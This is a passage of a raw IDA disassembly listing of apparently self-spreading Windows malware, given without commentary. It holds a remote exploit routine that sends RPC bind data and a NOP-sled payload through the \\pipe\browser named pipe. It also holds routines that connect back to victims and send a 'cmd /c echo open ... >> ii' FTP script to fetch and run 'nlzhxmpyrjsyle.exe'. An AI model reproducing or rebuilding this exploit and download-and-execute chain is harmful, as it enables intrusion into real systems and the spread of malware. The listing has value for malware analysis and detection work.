sub_40E28B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E29B	proc near		; CODE XREF: sub_40E15Fp
		or	eax, 0FFFFFFFFh
		retn
sub_40E29B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E29F	proc near		; CODE XREF: sub_40DE66+7Cp
		mov	al, 1
		retn
sub_40E29F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2A2	proc near		; CODE XREF: sub_40E28B+6p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40E2AC
		xor	eax, eax

loc_40E2AC:				; CODE XREF: sub_40E2A2+6j
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		retn
sub_40E2A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2B4	proc near		; CODE XREF: sub_40DCBDp
					; unknown_libname_35+3p
		test	byte_4F38AC, 1
		jnz	short locret_40E2C4
		or	byte_4F38AC, 1

locret_40E2C4:				; CODE XREF: sub_40E2B4+7j
		retn
sub_40E2B4	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E2C6	proc near		; DATA XREF: .data:0043F00Co
		jmp	$+5
sub_40E2C6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E2CB	proc near
		mov	eax, dword_4490F8
		add	eax, 6
		mov	dword_4E5E34, eax
		retn
sub_40E2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40E2D9(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char)

sub_40E2D9	proc near		; CODE XREF: sub_40E2D9+D0p
					; sub_40E3C7+474p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
Size		= dword	ptr  1Ch
Src		= dword	ptr  24h
Memory		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40E2ED
		or	[ebp+arg_7], 1
		jmp	short loc_40E2F1
; ---------------------------------------------------------------------------

loc_40E2ED:				; CODE XREF: sub_40E2D9+Cj
		and	[ebp+arg_7], 0FEh

loc_40E2F1:				; CODE XREF: sub_40E2D9+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+Memory]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40E315
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+Size], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40E327
; ---------------------------------------------------------------------------

loc_40E315:				; CODE XREF: sub_40E2D9+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+Size], eax
		mov	[ebp+arg_2B], 1

loc_40E327:				; CODE XREF: sub_40E2D9+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax		; Size
		mov	[ebp+var_4], eax
		call	_malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+Memory], eax
		jz	loc_40E3C0
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+Size]
		mov	esi, [ebp+Src]
		push	edi		; Size
		add	eax, 18h
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+Memory]
		push	[ebp+arg_0]
		call	ds:dword_4F53B4	; WriteFile
		test	eax, eax
		jz	short loc_40E3B7
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40E3B7
		push	[ebp+Memory]	; Memory
		call	_free
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40E3B3
		push	0		; char
		sub	ebx, edi
		push	[ebp+arg_24]	; int
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx		; Memory
		push	edi		; Src
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]	; int
		rep movsd
		call	sub_40E2D9
		add	esp, 2Ch
		jmp	short loc_40E3C2
; ---------------------------------------------------------------------------

loc_40E3B3:				; CODE XREF: sub_40E2D9+B3j
		mov	al, 1
		jmp	short loc_40E3C2
; ---------------------------------------------------------------------------

loc_40E3B7:				; CODE XREF: sub_40E2D9+9Cj
					; sub_40E2D9+A4j
		push	[ebp+Memory]	; Memory
		call	_free
		pop	ecx

loc_40E3C0:				; CODE XREF: sub_40E2D9+61j
		xor	al, al

loc_40E3C2:				; CODE XREF: sub_40E2D9+D8j
					; sub_40E2D9+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E2D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40E3C7(char *Size,void *Memory)

sub_40E3C7	proc near		; CODE XREF: sub_40E9BD+Bp

var_60F0	= qword	ptr -60F0h
var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
Dest		= byte ptr -20DCh
Dst		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
Src		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Size		= dword	ptr  8
Memory		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	offset a__6	; "."
		push	[ebp+Size]	; Str1
		call	__strcmpi
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_40E43D
		push	[ebp+Size]
		mov	esi, 2000h
		lea	eax, [ebp+Dest]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		mov	[ebp+var_C8], eax
		lea	eax, [ebp+Dst]
		push	ebx
		push	offset dword_4E5E3C
		push	offset dword_4E5E40
		push	eax
		call	sub_43AB96
		jmp	short loc_40E442
; ---------------------------------------------------------------------------

loc_40E43D:				; CODE XREF: sub_40E3C7+23j
		mov	esi, 2000h

loc_40E442:				; CODE XREF: sub_40E3C7+74j
		push	[ebp+Size]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	ds:dword_4F53C0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40E486

loc_40E47F:				; CODE XREF: sub_40E3C7+197j
					; sub_40E3C7+36Dj ...
		xor	al, al
		jmp	loc_40E8CA
; ---------------------------------------------------------------------------

loc_40E486:				; CODE XREF: sub_40E3C7+B6j
		push	48h		; Size
		lea	eax, [ebp+var_B8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	10h
		mov	[ebp+var_B8], 5
		pop	eax
		mov	[ebp+var_B7], bl
		push	1
		mov	[ebp+var_B4], eax
		pop	edi
		mov	[ebp+var_B6], 0Bh
		push	eax		; Size
		lea	eax, [ebp+var_98]
		push	offset dword_449154 ; Src
		push	eax		; Dst
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	_memcpy
		push	10h		; Size
		lea	eax, [ebp+var_84]
		push	offset dword_449168 ; Src
		push	eax		; Dst
		mov	[ebp+var_88], 3
		call	_memcpy
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4F53B4	; WriteFile
		test	eax, eax
		jnz	short loc_40E563

loc_40E555:				; CODE XREF: sub_40E3C7+268j
		push	[ebp+var_4]
		call	ds:dword_4F533C	; CloseHandle
		jmp	loc_40E47F
; ---------------------------------------------------------------------------

loc_40E563:				; CODE XREF: sub_40E3C7+18Cj
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4F53BC	; ReadFile
		push	ebx		; Time
		call	_time
		push	eax		; Seed
		call	_srand
		push	14h		; Size
		lea	eax, [ebp+Src]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		push	1Ch		; Size
		lea	eax, [ebp+var_30]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 20h
		call	_rand
		mov	esi, [ebp+Memory]
		mov	[ebp+Src], eax
		mov	[ebp+var_64], edi
		mov	[ebp+var_68], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		cmp	byte_4490E0[esi], bl
		jz	short loc_40E5DA
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		push	offset dword_4E5E44
		jmp	short loc_40E5ED
; ---------------------------------------------------------------------------

loc_40E5DA:				; CODE XREF: sub_40E3C7+1FFj
		push	2
		mov	[ebp+var_28], ebx
		pop	eax
		push	4		; Size
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	offset dword_44917C ; Src

loc_40E5ED:				; CODE XREF: sub_40E3C7+211j
		lea	eax, [ebp+var_20]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		call	_rand
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	_rand
		cdq
		idiv	edi
		mov	eax, dword_4490D4[esi]
		mov	[ebp+var_18], ebx
		push	eax		; Size
		mov	[ebp+Size], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	_malloc
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40E555
		mov	eax, [ebp+Size]
		add	eax, 0FFFFFFFEh
		push	eax		; Size
		push	90h		; Val
		push	edi		; Dst
		call	_memset
		mov	eax, [ebp+Size]
		push	2		; Size
		push	ebx		; Val
		lea	eax, [edi+eax-2]
		push	eax		; Dst
		call	_memset
		mov	eax, dword_4490DC[esi]
		push	7		; Size
		add	eax, edi
		push	offset dword_4490C8 ; Src
		push	eax		; Dst
		mov	[ebp+Memory], eax
		call	_memcpy
		mov	eax, [ebp+Memory]
		push	15Ch		; Size
		add	eax, 7
		push	offset dword_448F68 ; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, dword_4490D8[esi]
		add	esp, 30h
		cmp	byte_4490E0[esi], bl
		mov	[ebp+Memory], eax
		jz	short loc_40E6E6
		push	4		; Size
		add	eax, edi
		push	offset dword_4E5E34 ; Src
		push	eax		; Dst
		call	_memcpy
		add	[ebp+Memory], 0Ch
		mov	esi, offset dword_4490F8
		mov	eax, [ebp+Memory]
		push	4		; Size
		add	eax, edi
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+Memory]
		push	4		; Size
		push	esi		; Src
		lea	eax, [eax+edi+24h]
		push	eax		; Dst
		mov	[ebp+Memory], eax
		call	_memcpy
		mov	eax, [ebp+Memory]
		push	4		; Size
		add	eax, 0Ch
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 30h
		jmp	short loc_40E70E
; ---------------------------------------------------------------------------

loc_40E6E6:				; CODE XREF: sub_40E3C7+2D0j
		add	eax, edi
		mov	[ebp+var_8], 10h
		mov	[ebp+Memory], eax
		mov	esi, offset dword_4490F8

loc_40E6F7:				; CODE XREF: sub_40E3C7+345j
		push	4		; Size
		push	esi		; Src
		push	[ebp+Memory]	; Dst
		call	_memcpy
		add	[ebp+Memory], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_40E6F7

loc_40E70E:				; CODE XREF: sub_40E3C7+31Dj
		mov	eax, [ebp+Size]
		add	eax, 42h
		push	eax		; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_40E739
		push	[ebp+var_4]
		call	ds:dword_4F533C	; CloseHandle
		push	edi		; Memory
		call	_free
		pop	ecx
		jmp	loc_40E47F
; ---------------------------------------------------------------------------

loc_40E739:				; CODE XREF: sub_40E3C7+35Bj
		mov	eax, [ebp+Size]
		add	eax, 42h
		push	eax		; Size
		push	ebx		; double
		push	esi		; Dst
		call	_memset
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	ds:flt_43C488
		fstp	[esp+60F0h+var_60F0]
		call	_ceil
		call	__ftol
		push	[ebp+Size]	; Size
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+Memory], eax
		jz	short loc_40E7A6

loc_40E79E:				; CODE XREF: sub_40E3C7+3DAj
		inc	eax
		test	al, 3
		jnz	short loc_40E79E
		mov	[ebp+Memory], eax

loc_40E7A6:				; CODE XREF: sub_40E3C7+3D5j
		lea	ecx, [ebp+var_30]
		push	1Ch		; Size
		add	eax, esi
		push	ecx		; Src
		push	eax		; Dst
		call	_memcpy
		add	[ebp+Memory], 1Ch
		push	edi		; Memory
		call	_free
		push	18h		; Size
		lea	eax, [ebp+var_48]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	14h		; Size
		lea	eax, [ebp+var_5C]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	_memset
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	ds:dword_4F53B8	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+Size+3], bl
		mov	dword ptr [ebp+var_10+4], ebx

loc_40E813:				; CODE XREF: sub_40E3C7+4D6j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_40E8A8
		push	1		; char
		push	10B8h		; int
		push	[ebp+Memory]	; Memory
		inc	dword ptr [ebp+var_10+4]
		push	esi		; Src
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]	; int
		rep movsd
		call	sub_40E2D9
		add	esp, 2Ch
		test	al, al
		jz	short loc_40E8A5
		cmp	[ebp+var_4C], ebx
		jz	short loc_40E897
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4F53BC	; ReadFile
		test	eax, eax
		jnz	short loc_40E87E
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40E47F

loc_40E87E:				; CODE XREF: sub_40E3C7+4A4j
		push	3E8h
		push	[ebp+var_4C]
		call	ds:dword_4F5374	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40E897
		mov	byte ptr [ebp+Size+3], 1

loc_40E897:				; CODE XREF: sub_40E3C7+483j
					; sub_40E3C7+4CAj
		cmp	byte ptr [ebp+Size+3], bl
		mov	esi, [ebp+var_8]
		jz	loc_40E813
		jmp	short loc_40E8A8
; ---------------------------------------------------------------------------

loc_40E8A5:				; CODE XREF: sub_40E3C7+47Ej
		mov	esi, [ebp+var_8]

loc_40E8A8:				; CODE XREF: sub_40E3C7+450j
					; sub_40E3C7+4DCj
		push	[ebp+var_4]
		mov	edi, ds:dword_4F533C
		call	edi	; CloseHandle
		push	esi		; Memory
		call	_free
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_40E8C4
		push	[ebp+var_4C]
		call	edi	; CloseHandle

loc_40E8C4:				; CODE XREF: sub_40E3C7+4F6j
		cmp	byte ptr [ebp+Size+3], bl
		setnz	al

loc_40E8CA:				; CODE XREF: sub_40E3C7+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8CF	proc near		; CODE XREF: sub_40E9BD+29p

var_5A0		= byte ptr -5A0h
Str		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_4F5528	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_4F552C	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_4F553C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E99D
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4F5530	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E99D
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_4F5534
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset Str	; "nlzhxmpyrjsyle.exe"
		push	eax
		push	eax
		push	dword_4E2E18
		push	[ebp+arg_0]
		call	sub_40AF71
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+Str]
		push	190h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	ds:dword_4F5540	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E9A1

loc_40E99D:				; CODE XREF: sub_40E8CF+50j
					; sub_40E8CF+62j
		xor	eax, eax
		jmp	short loc_40E9B8
; ---------------------------------------------------------------------------

loc_40E9A1:				; CODE XREF: sub_40E8CF+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_4F5538	; closesocket
		push	1
		pop	eax

loc_40E9B8:				; CODE XREF: sub_40E8CF+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E8CF	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40E9BD(char,char Size)

sub_40E9BD	proc near		; DATA XREF: .data:004482A4o
					; .data:004482E4o

arg_0		= byte ptr  4
Size		= byte ptr  8

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx

loc_40E9C2:				; CODE XREF: sub_40E9BD+4Bj
		lea	eax, [esp+0Ch+Size]
		push	ebx		; Memory
		push	eax		; Size
		call	sub_40E3C7
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40E9F5
		push	65h
		lea	esi, [esp+10h+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E8CF
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_40EA0A

loc_40E9F5:				; CODE XREF: sub_40E9BD+14j
		test	ebx, ebx
		jnz	short loc_40EA04
		push	7D0h
		call	ds:dword_4F534C	; Sleep

loc_40EA04:				; CODE XREF: sub_40E9BD+3Aj
		inc	ebx
		cmp	ebx, 2
		jb	short loc_40E9C2

loc_40EA0A:				; CODE XREF: sub_40E9BD+36j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40E9BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA11	proc near		; CODE XREF: sub_40EB28+91p

var_5A0		= byte ptr -5A0h
Dest		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_4F5528	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_4F552C	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_4F553C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EADF
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4F5530	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EADF
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_4F5534
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset Str	; "nlzhxmpyrjsyle.exe"
		push	eax
		push	eax
		push	dword_4E2E18
		push	[ebp+arg_0]
		call	sub_40AF71
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+Dest]
		push	190h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	ebx
		call	ds:dword_4F5540	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EAE3

loc_40EADF:				; CODE XREF: sub_40EA11+50j
					; sub_40EA11+62j
		xor	eax, eax
		jmp	short loc_40EAFA
; ---------------------------------------------------------------------------

loc_40EAE3:				; CODE XREF: sub_40EA11+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_4F5538	; closesocket
		push	1
		pop	eax

loc_40EAFA:				; CODE XREF: sub_40EA11+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EA11	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		call	ds:dword_4F5528	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40EB27
		push	dword ptr [esp+4]
		call	ds:dword_4F5550	; gethostbyname
		test	eax, eax
		jnz	short loc_40EB20
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40EB20:				; CODE XREF: .text:0040EB1Aj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40EB27:				; CODE XREF: .text:0040EB0Cj
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB28	proc near		; CODE XREF: sub_40C951+1EAp
					; DATA XREF: .data:off_448224o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4E3138	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4E30F8	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_4F553C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB9A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4F5530	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB7B
		push	esi
		jmp	short loc_40EB94
; ---------------------------------------------------------------------------

loc_40EB7B:				; CODE XREF: sub_40EB28+4Ej
		push	0
		push	1213h
		push	offset dword_4491F8
		push	esi
		call	ds:dword_4F5540	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB9E

loc_40EB94:				; CODE XREF: sub_40EB28+51j
		call	ds:dword_4F5538	; closesocket

loc_40EB9A:				; CODE XREF: sub_40EB28+3Cj
		xor	eax, eax
		jmp	short loc_40EBE0
; ---------------------------------------------------------------------------

loc_40EB9E:				; CODE XREF: sub_40EB28+6Aj
		call	ds:dword_4F5538	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40EA11
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EBDD
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_448228[eax]
		lea	eax, dword_448228[eax]

loc_40EBDD:				; CODE XREF: sub_40EB28+9Ej
		push	1
		pop	eax

loc_40EBE0:				; CODE XREF: sub_40EB28+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EB28	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBE4	proc near		; CODE XREF: sub_40EC5E+74p
					; sub_40EC5E+D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40EBEC:				; CODE XREF: sub_40EBE4+2Dj
		test	edi, edi
		jle	short loc_40EC17
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4E3110	; recv
		test	eax, eax
		jz	short loc_40EC13
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC13
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBEC
; ---------------------------------------------------------------------------

loc_40EC13:				; CODE XREF: sub_40EBE4+22j
					; sub_40EBE4+27j
		xor	eax, eax
		jmp	short loc_40EC1A
; ---------------------------------------------------------------------------

loc_40EC17:				; CODE XREF: sub_40EBE4+Aj
		push	1
		pop	eax

loc_40EC1A:				; CODE XREF: sub_40EBE4+31j
		pop	edi
		pop	esi
		retn
sub_40EBE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC1D	proc near		; CODE XREF: sub_40EC5E+C0p
					; sub_40EC5E+EDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC5A
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC54

loc_40EC2D:				; CODE XREF: sub_40EC1D+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
